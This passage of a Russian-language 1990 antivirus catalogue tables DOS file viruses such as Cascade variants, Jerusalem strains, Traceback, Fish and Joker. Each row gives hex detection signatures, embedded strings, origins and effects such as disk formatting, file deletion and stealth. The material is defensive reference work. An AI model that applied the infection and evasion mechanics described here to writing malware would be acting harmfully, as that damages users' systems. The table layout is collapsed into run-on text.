вируса RС-1701, размножающийся только │ (Каскад-В) │ │ │ │ │DP│10 < LenC < 63800 │на клонах IBM PC │ │ │ │ │ │I │FA8BECE800005B81EB31012EF6872A0101 │ │ │ │ │ │ │+ │740F8DB74D01BC850631343124464C75F8 │ │ │ │ │ │ │F │CLEAR v66+ (СП 7-90) │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * 1704-C, │RC-1704f │Cas│1│ │D │Af Cy Mc │январь 1989. │ * 1704-Format │ │ │ │ │I │ F6872A0101740F8DB74D01BC8506313 │Штамм RC-1701 с изменным проявлением. │ (1704-Формат) │ │ │ │ │+ │ 43124464C77F8 │Активируется с октября по декабрь года кроме│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ме 1993. Форматирует диск. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Phoenix │RC-1704p │P1 │ │ │D │Co Itc Km Mac Se │Болгария: июль 1990 │ │ (Феникс) │ │ │ │ │DP│ │При заражении COMMAND.COM не меняет длину │ │ P1 │ │ │ │ │HR│2A │программы. При попытке выполнения CHKDSK на │ │ │ │ │ │ │DR│h8192 │зараженной машине выполняется теплая переза-│ │ │ │ │ │ │M │01 36 6E 03 36 6E 8B D8 6E 03 36 6E 33 36 │грузка системы, хотя вирус не выживает при │ │ │ │ │ │ │ +│6E 22 39 6E F8 36 6E 31 36 6E 22 │перезагрузке. Вирус содержит ряд ошибок. │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# PhoenixD │RC-1704d │P1 │ │ │D │Co Itc Km Mac Seo │Болгария: июль 1990 │ │ (Феникс) │ │ │ │ │DP│ │Исправленная версия │ │ P1 │ │ │ │ │HR│2A │При заражении COMMAND.COM не меняет длину │ │ │ │ │ │ │DR│h8192 │программы. При попытке выполнения CHKDSK на │ │ │ │ │ │ │M │01 36 6E 03 36 6E 8B D8 6E 03 36 6E 33 36 │зараженной машине выполняется теплая переза-│ │ │ │ │ │ │ +│6E 22 39 6E F8 36 6E 31 36 6E 22 │грузка системы, хотя вирус не выживает при │ │ │ │ │ │ │ │ │перезагрузке. В отличие от RC-1704p заража-│ │ │ │ │ │ │ │ │ет файлы и при открытии. │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ 1720, │RCE-1720 │Ier│ │ │D │Adk Cy K11 │Испания, 1990 │ Spanish II, │ │ │ │ │DR│t │При инсталляции вирус находит и заражает │ PSRQ Virus │ │ │ │ │M1│ 2E A1 2C 00 A3 FC 03 2E A0 │один исполняемый файл, а затем становится │ │ │ │ │ │M2│D8 2E A1 2C 00 A3 FC 03 2E A0 │резидентным и заражает любой исполняемый │ │ │ │ │ │C │0FFFCD213D0101743B06B8F135CD218C │файл. При заражении в некоторых EXE-файлах │ │ │ │ │ │T │=PSQR /* в конце файла */ │уничтожается последние 30 байтов В конце │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│зараженного файла имеется сигнатура "=PSQR".│ │ │ │ │ │ │ │В пятницу, приходящуюся на 13 число удаляет │ │ │ │ │ │ │ │запускаемые файлы, а при наличии винчестера │ │ │ │ │ │ │ │разрушает бутсектор и таблицу разделов │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Frere Jacques │RCE-1813f │Ier│1│ │ │Cn Ihc-tp Ra2064 Se To │ США(Калифорния): май 1990 │ │ ( )│ │ │ │ │ │ │Штамм иерусалимского вируса. При заражении │ │ Frere Virus │ │ │ │ │ │ │COM-файлы увеличиваются на 1813, а EXE-файлы│ │ │ │ │ │ │ │ │на 1808-1819 байт │ │ │ │ │ │ │ │ │По пятницам проигрывает мелодию │ │ │ │ │ │ │ │ │Frere Jacques │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Payday │RCE-1813p │Ier│1│ │ │см. RCE-1813a │Нидерланды: ноябрь 1989,Jan Terpstra │ │ (день зарплаты) │ │ │ │ │ │ │Штамм иерусалимского вируса, в котором дата │ │ │ │ │ │ │ │ │удаления файлов изменена на обратную: файлы │ │ │ │ │ │ │ │ │удаляются в любую пятницу, кроме приходящий-│ │ │ │ │ │ │ │ │ся на 13 число. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ dBASE virus │RC-1864 │ │1│ │D │Ac Cn Li │США(Нью-Йорк), март 1989, Ross Greenberg. │ (Дибэйс) │ │ │ │ │M │80 FC 6C 74 EA 80 FC 5B 74 E5 │Меняет местами первые два байта каждого бло-│ │ │ │ │ │C │50B80AFBCD213DFB0A7402EB8A56E800 │ка при записи .DBF-файлов. При этом ведет │ │ │ │ │ │ │ │таблицу искажений в виде файла на диске. При│ │ │ │ │ │ │ │чтении файла на другой (незараженной) ЭВМ │ │ │ │ │ │ │ │внесенные изменения проявляются. Уничтожение│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│вируса также приводит к этому эффекту │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *# DatacrimeIIb │ CE-1917 │Dcr│1│<│D │Afk Bt Cn Li │См. CE-1514 │ (ДейтакраймIIb),│ │ │ │ │DP│Name(7) != 'D' │Не заражает файлы с именами │ Columbus Day │ │ │ │ │M │2E 8A 07 32 C2 D0 CA 2E │содержащими седьмую букву "D"(лат), │ (День Колумба),│ │ │ │ │T │ (* сообщения перекодированы и в дампе │например, COMMAND.COM │ October 13 │ │ │ │ │ │ не видны *) │ │ (13 октября) │ │ │ │ │H │7F751114011416071C1810751C1C7503 │ │ │ │ │ │ │+ │1C070006757F5F58 │ │ │ │ │ │ │C │2E 8A 07 32 C2 D0 CA 2E │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* 1971, │RCE-1971 │ │1│ │D │Cy Itp Se To Xm │ФРГ: апрель 1990,Fridrik Skulason(Исландия) │ │# Eight Tunes, │ │ │ │ │DP│8K < LenC │Через 30 минут после того, как вирус стал │ $ The 8 Tunes │ │ │ │ │M │33 D2 B8 00 42 CD 21 72 26 81 7C │резидентным начинает играть одну из восьми │ (8 мелодий) │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│народных немецких мелодий. Затем через │ │ │ │ │ │ │ │некоторый (случайный) интервал играет другую│ │ │ │ │ │ │ │меловию и т.д. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Solano 2000, │ RC-2000 │Sol│1│ │D │Abv Se │США (Солано, штат Калифорния): март 1990, │ │ Dyslexia 2.01 │ │ │ │ │M │12 75 0E 2E 8B 0E 03 01 │Edward Winters │ │ │ │ │ │ │DR│3K │После заражения выполнение некоторых програм│ │ │ │ │ │ │T │(((((((((((((((((((((((((((((((((((((( │блокируется из-за ошибок в вирусе. Заражен- │ │ │ │ │ │ │ │ │ная DISKCOPY при запуске выдает сообщение │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ "invalid drive specification" │ │ │ │ │ │ │ │Байты 1168-1952 зараженного файла содержат │ │ │ │ │ │ │ │символ '(' (28h) │ │ │ │ │ │ │ │Возможно вирус случайным образом переставля-│ │ │ │ │ │ │ │ет числовые последовательности в видеопамяти│ │ │ │ │ │ │ │монитора или меняет атрибуты цвета символов │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*$ Halloechen │RCE-2011 │ │2│<│D │Itp-tp Se │Западная Германия: октябрь 1989, │ │ Virus │ │ │ │ │M1│8C D0 8B D4 BC 02 00 36 8B 0E │Christoff Fischer │ │ │ │ │ │M2│C8 E3 9F DD 9F CA 8D 6D 6E 77 │Заражаются файлы, имеющие год и месяц созда-│ │ │ │ │ │ +│8C D0 8B D4 BC 02 00 36 8B 0E │ния не совадающие с текущим месяцом и годом.│ │ │ │ │ │ │ │При запуске зараженных файлов портится │ │ │ │ │ │ │ │содержимое буфера клавиатуры │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Wolfman │RCE-2064 │ │ │ │D │ Cy │ │ │ │ │ │ │ │M │FB 58 44 75 04 E9 7B 01 EA CC │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ 2086, │RCE-2086 │Ier│2│ │D │Cy Ihc-tp Mt Tosb │март 1988 │ *# Fu Manchu │ │ │ │ │M1│72 45 4D 48 4F 72 │При каждом 16-м заражении перехватывается │ (Фу Манчу), │ │ │ │ │M2│26 C7 06 FC 03 F3 A4 26 C6 06 │таймер и через случайный промежуток времени │ $ FU-Manchu A, │ │ │ │ │C │E1CD2180FCE1731680FC047211B4DDBF │на экран выдается сообщение (в теле хранится 2080 │ │ │ │ │I │8ED0BC200950B8230250CBFC062E8C062C0 │в перекодированном виде): │ │ │ │ │ │ │02E8C0634002E8C0638002E8C063C008CC0 │ The World will hear from me again !!! │ │ │ │ │ │T │sAXrEMHOr │и инициируется теплая презагрузка │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│(по некоторым сведениям сообщение выдается │ │ │ │ │ │ │ │при "теплой презагрузке"(CTRL-ALT-DEL) │ │ │ │ │ │ │ │После 1 августа 1989 года вирус отслеживает │ │ │ │ │ │ │ │содержимое буфера клавиатуры и добавляет │ │ │ │ │ │ │ │издевательские комментарии к именам некото- │ │ │ │ │ │ │ │вых западных политиков. Поскольку коммента- │ │ │ │ │ │ │ │рии добавляются в буфер клавиатуры они могут│ │ │ │ │ │ │ │попасть в редактируемый текст. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# V2100, │RCE-2100 │DAv│1│<│D │Cy Seo To │Болгария: июль 1990 │ │ Uscan Virus │ │!!!│ │ │DR│u 4K │Более поздний штамм RCE-2000. Распространял-│ │ │ │ │ │ │DP│2100 < LenCE │ся с помощью троянской версии антивирусной │ │ │ │ │ │ │M │1F 75 14 8B 41 1A 8B 71 1C 2D │программы USCAN по некоторым европейским │ │ │ │ │ │ │ │ │электронным бюллетеням. При этом в самом │ │ │ │ │ │ │ │ │UCAN вирус был "спрятан" так, что не детек- │ │ │ │ │ │ │ │тировался контекстным поиском. Исполнение │ │ │ │ │ │ │ │вирусоносителя ведет к его инсталляции в │ │ │ │ │ │ │ │старшие адреса с уменьшением системной памя-│ │ │ │ │ │ │ │ти на 4K (по типу бутвируса). В системах │ │ │ │ │ │ │ │инфицированных вирусом отмечаются ошибки при│ │ │ │ │ │ │ │распрделении файлов и сращивание файлов │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Flip │RCEBP-2343│ │ │ │D │Cy Ml To │Западная Германия: июль 1990 │ │ │ │ │ │ │DR│u3062 │Заражает MBR и бутсектов винчестера. Инстал-│ │ │ │ │ │ │ │ │лируется по типу бутвируса │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ *#$ Ghost Virus │ CP-2351 │Ven│1│ │D │Cy Ds62 Li │Исландия, сентябрь 1989, Fridric Skulason. │ (Привидение), │ │ │ │ │M1│90 EA 59 EC 00 F0 90 90 │При выполнении зараженной программы вирус │ 2351 │ │ │ │ │M2│5E 81 C6 5A 04 B8 01 02 │ищет очередную жертву в текущем каталоге, │ * Ghost Versi│ │ │ │ │C │04B44FCD217302EB9F8B847400241F3C │заражает ее, а затем заражает бутсектор │ on of DOS-62 │ │ │ │ │ │ │диска А бутовой троянской программой │ │ │ │ │ │ │ │аналогичной вирусу Bx1-1C (Ping-Pong), │ │ │ │ │ │ │ │лишенной способности к саморазмножению. │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│Уничтожает каждый 8-й заражаемый файл. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Victor │ RCE-2458 │ ! │2│<│D │Cy Itp-tp Se To Zo │СССР ??: май 1990 │ │ (Виктор) │ │ │ │ │HR│21 │Заражает примерно одну из 10 запускаемых │ │ │ │ │ │ │DR│h 3072 │файлов. Приращение по данным П.Хофман варь- │ │ │ │ │ │ │M │74 26 80 FC 5B 74 21 80 FC 39 │ируется от 2443 до 2458 │ │ │ │ │ │ │C │BBF00FCD21890E860081F9C1FE75 │ │ │ │ │ │ │T1│Victor V1.0 The Incredible High │ │ │ │ │ │ │ +│ Performance Virus │ │ │ │ │ │ │T2│Enhanced versions available soon. │ │ │ │ │ │ │T3│This program was imported from USSR. │ │ │ │ │ │ │ │ │Thanks to Ivan." │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* Doom2 │RCE-2504 │ │ │ │D │Cn │ │ │ │ │ │ │ │M │B9 AF 04 BF 29 01 2E A0 0B 01 2E │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* Virus-101 │RCE-2560 │Ven│1│ │D │An Cy Dn K11 Li Mc │ США(Вашингтон), конец 1989 │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│Более поздний штамм RС-857 │ │ │ │ │ │ │ │ │Деструктивные действия отсутствуют. │ │ │ │ │ │ │ │Использует кодировку инсталлятора для │ │ │ │ │ │ │ │того, чтобы избежать обнаружения простыми │ │ │ │ │ │ │ │детекторами, основанными на контекстном │ │ │ │ │ │ │ │поиске. Известен автор (Patrick Toulme). │ │ │ │ │ │ │ │Задуман как демоверсия - заражает файлы │ │ │ │ │ │ │ │только на дискетах. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*$ Oropax │RC-2756 │ │1│ │D │Bm Cy Itp51 │ФРГ (Гамбург): 02.89 │ │ (Оропакс), │ │ │ │ │M │3E 01 1D F2 77 D1 BA 00 │Польша: 1990. │ │ Music Virus │ │ │ │ │C │3E070100744CB42ACD2181F9C307720A │Приращение зараженного файла случайно и │ │ (музыкальный) │ │ │ │ │ │ │колеблется в диапазоне 2756-2807 байт. │ MUZYKANT │ │ │ │ │ │ │Обычно приращение равно 2773 байт Заражает │ │ │ │ │ │ │ │файлы при любой дисковой операции (при │ │ │ │ │ │ │ │обращении по функциям 13H, 16H, 17H, 39H, │ │ │ │ │ │ │ │3AH, 3CH, 3DH, 41H, 43H, 46H 21 прерывания │ │ │ │ │ │ │ │используемыми командами COPY,RD,MD,DEL,REN │ │ │ │ │ │F │MKS_VIR │MS DOS). Для заражения ищет COM-файл в │ │ │ │ │ │ │ │главном каталоге текущего диска и его │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│подкаталогах. На компьютерах типа PC AT │ │ │ │ │ │ │ │после 1.05.87 через 5 минут после │ │ │ │ │ │ │ │инфицирования файла вирус играет 3 разные │ │ │ │ │ │ │ │мелодии с 7 минутным интервалом между ними. │ │ │ │ │ │ │ │Длина зараженных файлов всегда кратна 51. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Liberty │RCE-2862 │ │1│ │D │Cy Itp Mc Se To │Австралия (Сидней): май 1989 │ │ │ │ │ │ │HR│21 │Проявления неизвестны │ │ │ │ │ │ │DP│2K < LenC; 0 < LenE │ │ │ │ │ │ │ │DR│h 8K │ │ │ │ │ │ │M │E8 FD FE 72 2A 3B C1 7C 27 E8 │ │ │ │ │ │ │T │Liberty │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Taiwan 3 │RCE-2900 │Ier│ │ │D │Se To │Тайвань: июнь 1990 │ │ │ │ │ │ │HR│21 │Возможны зависания системы. Другие проявле- │ │ │ │ │ │ │DR│L 3152 │ния неизвестны. │ │ │ │ │ │ │M │17 0F 32 0A 32 0A 90 0B FB 08 │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*$ 2930, │RCE-2930 │Ier│1│ │D │ Cn Li Se │Испания, октябрь 1989 │ │# Traceback II │ │ │ │ │M │14 8B 4D 16 8B C1 8A CD │Pанняя версия вируса RCE-3066 (Traceback) │ │ (Обратное │ │ │ │ │I │E82906E8E005B419CD218884E30 │Поведение и проявления практически полностью│ │ прослеживаниеII)│ │ │ │ │+ │0E8CE048A95E2000E1F7509 │совпадают. Код практически идентичен. │ │ Spanish virus │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ │ (Испанка) │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │# Traceback II-B │RCE-2930b │Ier│1│ │D │Cy │Штамм заражающий COMMAND.COM. После начала │ │ │ │ │ │ │ │ │падения букв через некоторое время система │ │ │ │ │ │ │ │ │зависает │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Plastique, │RCE-3012 │Pla│ │ │D │Cn Itc-tp Mc Seo │Тайвань: июль 1990 │ │ Plastic Bomb, │ │ │ │ │HR│21 │Помимо размножения других эффектов не отме- │ │ (Пластиковая │ │ │ │ │DR│l 3264 │но │ │ бомба), │ │ │ │ │ │ │ │ │ Plastique 3012│ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * 3066, │RCE-3066 │Ier│1│ │D │Bv Cn Li Soc2 │октябрь 1988 │ # Traceback │ │ │ │ │M │14 8B 4D 16 8B C1 8A CD │При выполнении зараж. программы инсталлиру- │ (Обратное │ │ │ │ │I │E87106E82806B419CD2189B4510 │ется в оперативной памяти и заражает откры- │ прослеживание) │ │ │ │ │+ │18184510184088C8C5301 │ваемые программы. После 5.12.88 дополнитель-│ │ │ │ │ │C │E87106E82806B419CD2189B451018184 │но пытается заразить один файл находя его │ │ │ │ │ │ │ │поиском по дереву, начиная с корневого ката-│ │ │ │ │ │ │ │лога. Процесс поиска оканчивается, если по- │ │ │ │ │ │ │ │падается уже зараженный файл. После 28.12.88│ │ │ │ │ │ │ │каждый час после загрузки создает эффект па-│ │ │ │ │ │ │ │дающих букв, аналогичный RC-1701. При нажа- │ │ │ │ │ │ │ │тии клавиши в момент падения букв система │ │ │ │ │ │ │ │зависает. Через минуту процесс падения пре- │ │ │ │ │ │ │ │кращается и буквы возвращаются на исходные │ │ │ │ │ │ │ │позиции.В теле вируса содержится полный путь│ │ │ │ │ │ │ │к предыдущей зараженной программе, что поз- │ │ │ │ │ │ │ │воляет по цепочке выявить все инфицированные│ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│программы. Отсюда и название вируса. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │# Traceback-B │RCE-3066b │Ier│ │1│D │Cy Li Soc2 │Испания: март 1990 │ │ (Обратное │ │ │ │ │M │ │Штамм RCE-3066 заражающий COMMAND.COM. │ │ прослеживание) │ │ │ │ │T │MICRODIC MSG │Эффект падающих букв отсутствует. Зараженные│ │ │ │ │ │ │ │ │файлы содержат имя самой зараженной програм-│ │ │ │ │ │ │ │мы, а не предыдущей. │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ # Traceback-B2 │RCE-3066c │Ier│ │1│M │ │Испания: май 1990 │ (Обратное │ │ │ │ │T │" XPO DAD " │Практически совпадает с RCE-3066b, но эффект│ прослеживание) │ │ │ │ │ │ │падающих букв присутствует. Строка │ │ │ │ │ │ │ │"MICRODIC MSG" заменена на " XPO DAD " │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ * 3551, │ CE-3551 │ │1│ │D │ Cy Itp Mс │ │ Syslock │ │ │ │ │I │ D1E98AE18AC1 │При выполнении инфицированной программы │ │ │ │ │ │+ │ 3306140031044646E2F25E5958C3 │вирус ищет во всех подкаталогах текущего │ │ │ │ │ │M │ 3306140031044646E2F2 │диска очередную жертву и заражет ее. Через │ │ │ │ │ │ │ │случайные промежутки времени выдает ложное │ │ │ │ │ │ │ │диагностическое сообщение: │ │ │ │ │ │ │ │ Error writing to device AUX │ │ │ │ │ │ │ │Ищет в файлах строку "Microsoft" в любой │ │ │ │ │ │ │ │комбинации строчных и прописных букв и заме-│ │ │ │ │ │ │ │няет ее на строку "MACROSOFT" или в некото- │ │ │ │ │ │ │ │рых штаммах на строку "MACHOSOFT". │ │ │ │ │ │ │ │Если переменная среды SYSLOCK = "@" (40h) │ │ │ │ │ │ │ │то вирус сразу передает управление заражен- │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ной программе │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Fish Virus │RCE-03584 │St │1│<│D │ Bs Cy Mclmf So │Западная Германия: май 1990 │ │ │ │!!!│ │ │DR│aw4096(без перехвата 13h) 8192 (с перех.) │Штамм RCE-04096. │ │ European Fish │ │ │ │ │M │0E 01 CF E8 00 00 5B 81 EB A9 │Вирус замедляет запись в видеопамять что мо-│ │ │ │ │ │ │T │FISH FI /* в конце зараженных файлов, │жет приводить к появлению "снега" на экране │ │ Fish 6 │ │ │ │ │ │ но не всегда */ │дисплея. При просмотре оперативной памяти │ │ │ │ │ │ │ │ │на зараженном компьютере видны имена рыб. │ │ Stealth Virus │ │ │ │ │ │ │При резидентном вирусе программы, контроли- │ │ │ │ │ │ │ │ │рующие контрольную сумму не обнаруживают │ │ │ │ │ │ │ │ │изменений, поскольку вирус предварительно │ │ │ │ │ │ │ │выкусывает себя из каждой зараженной прог- │ │ │ │ │ │ │ │раммы │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* ItaVir │ E-3880 │ │1│ │D │Aw Itc │Италия(Милан), начало 1990, Andrea Omodeo, │ │ │ │ │ │ │M │B8 58 45 89 40 02 B0 00 88 40 04 │Massilimiano Lehmann и другие студенты Ми- │ │ │ │ │ │ │ │ │ланского политехнического института. │ │ │ │ │ │ │ │В инфицированной системе имеется файл с име-│ │ │ │ │ │ │ │нем *OMMAND.COM, где "*" означает непечата- │ │ │ │ │ │ │ │емый символ, который содержит "чистое" тело │ │ │ │ │ │ │ │вируса, используемое для дописывания к │ │ │ │ │ │ │ │заражаемым файлам. │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│Фаза проявления наступает при определенном │ │ │ │ │ │ │ │времени работы системы без перезагрузки │ │ │ │ │ │ │ │(по видимому, случайное число > 24). │ │ │ │ │ │ │ │При этом вирус последовательно пишет во все │ │ │ │ │ │ │ │порты числа от 0 до 255, что ведет к уничто-│ │ │ │ │ │ │ │жению бутсектора, различным эффектам на │ │ │ │ │ │ │ │видеомониторе (мигание, "снег" и др.). │ │ │ │Кроме того затирается бутсектор │ │ │сообщение на итальянском языке. │ │ │ │ │ │ │ и выдается │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Plastique-B, │RCE-4096b │Pla│ │ │D │Cn Itc-tp Mc Seo │Тайвань: июль 1990 │ │ Plastic Bomb, │ │ │ │ │HR│08, 09, 13, 21, ED │Более поздняя версия RCE-3012 │ │ (Пластиковая │ │ │ │ │DR│L 5120 │Помимо размножения других эффектов не отме- │ │ бомба), │ │ │ │ │ │ │но │ │ Plastique 5.21│ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# TCC │CE-4909 │ │ │ │D │Cy Itp-tp Sds To │Франция (Париж): август 1990 │ │ │ │ │ │ │M │21 B4 3F B9 18 00 8D 16 88 02 8D 36 86 02 │При запуске зараженной программы вирус зара-│ │ │ │ │ │ │ +│8B 1C │жает все файлы на текущем диске за исключе- │ │ │ │ │ │ │ │ │нием очень маленьких файлов. Кроме того ви- │ │ │ │ │ │ │ │рус ищет на диске С файл COMMAND.COM и если │ │ │ │ │ │ │ │он еще не заражен, то заражает его. │ │ │ │ │ │ │ │Другие проявления неизвестны. │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# 5120, │СE-5120 │ │1│ │D │Ba Cy Itс-tp Sct │Германия: май 1990. │ │ VBasic, │ │ │ │ │M │10 A2 F6 0F E8 D0 FE 80 3E 4A 10 02 7D 22 │Вирус написан на Турбо Бейсике. │ │ │ │ │ │ │ +│C6 46 │Портит файлы данных и сращивает файлы │ │ Basic Virus │ │ │ │ │T1│BASRUN │Строки Т1-Т6 расположены в конце зараженного│ │ │ │ │ │T2│BRUN │файла. Впрочем имеется штамм, где эти строки│ │ │ │ │ │T3│IBMBIO.COM │закодированы │ │ │ │ │ │T4│IBMDOS.COM │ │ │ │ │ │ │T5│COMMAND.COM │ │ │ │ │ │ │T6│Access denied │ │ │ удаление*/│ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │*# Joker Virus │ CE-xxxx │ │ │ │D │Cy │Польша, декабрь 1989 │ │ (Шутник), │ │ │ │ │M │5607450721071D49276D20736F206D7563 │При исполнении зараженной программы выдается│ │ Jocker │ │ │ │ │C │5607450721071D49276D20736F206D75 │выбираемое случайным образом сообщение │ │ │ │ │ │ │T1│Incorrect DOS version │T1-T18. Кроме того вирус искажает DBF │ │ │ │ │ │ │T2│Invalid Volume ID Format failure │файлы (по видимому этими же сообщениями). │ │ │ │ │ │ │T3│Please put a new disk into drive A: │ │ │ │ │ │ │ │T4│End of input file │ │ │ │ │ │ │T5│END OF WORKTIME. TURN SYSTEM OFF! │ │ │ │ │ │ │T6│Divide Overflow │ │ │ │ │ │ │T7│Water detect in Co-processor │ │ │ │ │ │ │T8│I am hungry! Insert HAMBURGER into drive A│ │ │ │ │ │ │T9│NO SMOKING, PLEASE! │ │ │ │ │ │ │10│ Thanks. │ │ │ │ │ │ │11│Don't beat me !! │ │ │ │ │ │ │12│Don't drink and drive. │ │ │ │ │ │ │13│Another cup of cofee ? │ │ │ │ │ │ │14│ OH, YES! │ │ │ │ │ │ │15│Hard Disk head has been destroyed. Can you│ │ │ │ │ │ │ +│ borow me your one? │ │ │ │ │ │ │16│Missing light magenta ribbon in printer! │ │ │ │ │ │ │17│In case mistake, call GHOST BUSTERS │ │ │ │ │ │ │18│Insert tractor toilet paper into printer. │ │ │ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только удаление*/│ │ │ │ │ │ │ │ │ │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ │* 12 Tricks │ │ │ │ │ │ │Проявления неизвестны │ │ Trojan │ │ │ │ │M1│64 02 31 94 42 01 D1 C2 4E 79 F7 │ │ │ │ │ │ │M2│E4 61 8A E0 0C 80 E6 61 (* версия-B*) │ │ │ │ │ │ │C │64 02 31 94 42 01 D1 C2 4E 79 F7 │ │ │ удаление*/│ │ │ │ │F │Scan /D v66+ (СП 7-90) /*только │ ─────────────────┼──────────┼───┼─┼─┼──┼──────────────────────────────────────── ──┼────────────────────────────────────────────┤ Cookie │RCE-nnnn │ │1│ │ │ │Выдача на экран сообщения I WANT │ (Печенье), │ │ │ │ │ │ │COOKIE (я хочу печенья). Только ввод │ Cookie Monster│ │ │ │ │ │ │с клавиатуры слова COOKIE позволяет │ (Печеньевое │ │ │ │ │ │ │продолжить работу с программой. Неко│ Чудовище) │ │ │ │ │ │ │торые штаммы этого вируса стирают │ │ │ │ │ │ │ │файлы при неправильном ответе │ │ │ │ │ │ │ │ │ ─────────────────┴──────────┴───┴─┴─┴──┴──────────────────────────────────────── ──┴────────────────────────────────────────────┘ ПРИЛОЖЕНИЕ 4 Классификационная таблица бутовых вирусов, известных по литературе на 1.08.90 ──────────────────┬────────┬───┬─┬─┬──────────────────────────────────────┬───── ────────────────────────────────────────────────┐ │Класси- │ Г │Р│Д│ Дескриптор, сигнатуры и фаги │ │ Неформальные │фикаци- │ р │а│и├──┬───────────────────────────────────┤ Страна и дата обнаружения, │ названия │онный │ у │с│н│В │ │ фамилия исследователя обнаружевшего │ │код │ п │п│а│и │ Значение │ и изолировавшего вирус (если известны), │ 